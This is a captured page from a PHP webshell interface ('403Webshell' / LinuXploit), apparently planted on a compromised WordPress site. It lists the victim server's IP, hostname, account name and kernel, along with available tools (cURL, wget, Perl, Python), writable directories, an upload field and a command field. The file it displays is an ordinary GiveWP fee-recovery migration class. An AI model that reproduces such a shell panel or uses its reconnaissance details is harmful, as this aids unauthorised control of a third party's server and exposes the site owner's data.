403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.140.186.66
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jenniferflocom/public_html/wp-content/plugins/give/src/FormMigration/Steps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jenniferflocom/public_html/wp-content/plugins/give/src/FormMigration/Steps/FeeRecovery.php
<?php

namespace Give\FormMigration\Steps;

use Give\FormMigration\Contracts\FormMigrationStep;
use Give\Framework\Blocks\BlockModel;

class FeeRecovery extends FormMigrationStep
{

    /**
     * @since 3.0.0
     */
    public function process()
    {
        $feeRecoverySettings = $this->formV2->getFeeRecoverySettings();

        if (empty($feeRecoverySettings) || (
                $feeRecoverySettings['useGlobalSettings'] === true &&
                !give_is_setting_enabled(give_get_option('give_fee_recovery', 'disabled'))
            )) {
            return;
        }

        if ($feeRecoverySettings['useGlobalSettings']) {
            $feeRecoverySettings = $this->getGlobalSettings();
        }

        $feeRecoveryBlock = BlockModel::make([
            'name' => 'givewp-fee-recovery/fee-recovery',
            'attributes' => $feeRecoverySettings,
        ]);
        $this->fieldBlocks->insertAfter('givewp/donation-amount', $feeRecoveryBlock);
    }

    /**
     * @since 3.0.0
     */
    private function getGlobalSettings(): array
    {
        return [
            'useGlobalSettings' => true,
            'feeSupportForAllGateways' => give_get_option('give_fee_configuration', 'all_gateways') === 'all_gateways',
            'perGatewaySettings' => [],
            'feePercentage' => (float)give_get_option('give_fee_percentage', 2.9),
            'feeBaseAmount' => (float)give_get_option('give_fee_base_amount', 0.30),
            'maxFeeAmount' => (float)give_get_option(
                'give_fee_maximum_fee_amount',
                give_format_decimal(['amount' => '0.00'])
            ),
            'includeInDonationSummary' => give_get_option('give_fee_breakdown', 'enabled') === 'enabled',
            'donorOptIn' => give_get_option('give_fee_mode', 'donor_opt_in') === 'donor_opt_in',
            'feeCheckboxLabel' => give_get_option(
                'give_fee_checkbox_label',
                __(
                    'I\'d like to help cover the transaction fees of {fee_amount} for my donation.',
                    'give-fee-recovery'
                )
            ),
            'feeMessage' => give_get_option(
                'give_fee_explanation',
                __('Plus an additional {fee_amount} to cover gateway fees.', 'give-fee-recovery')
            ),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit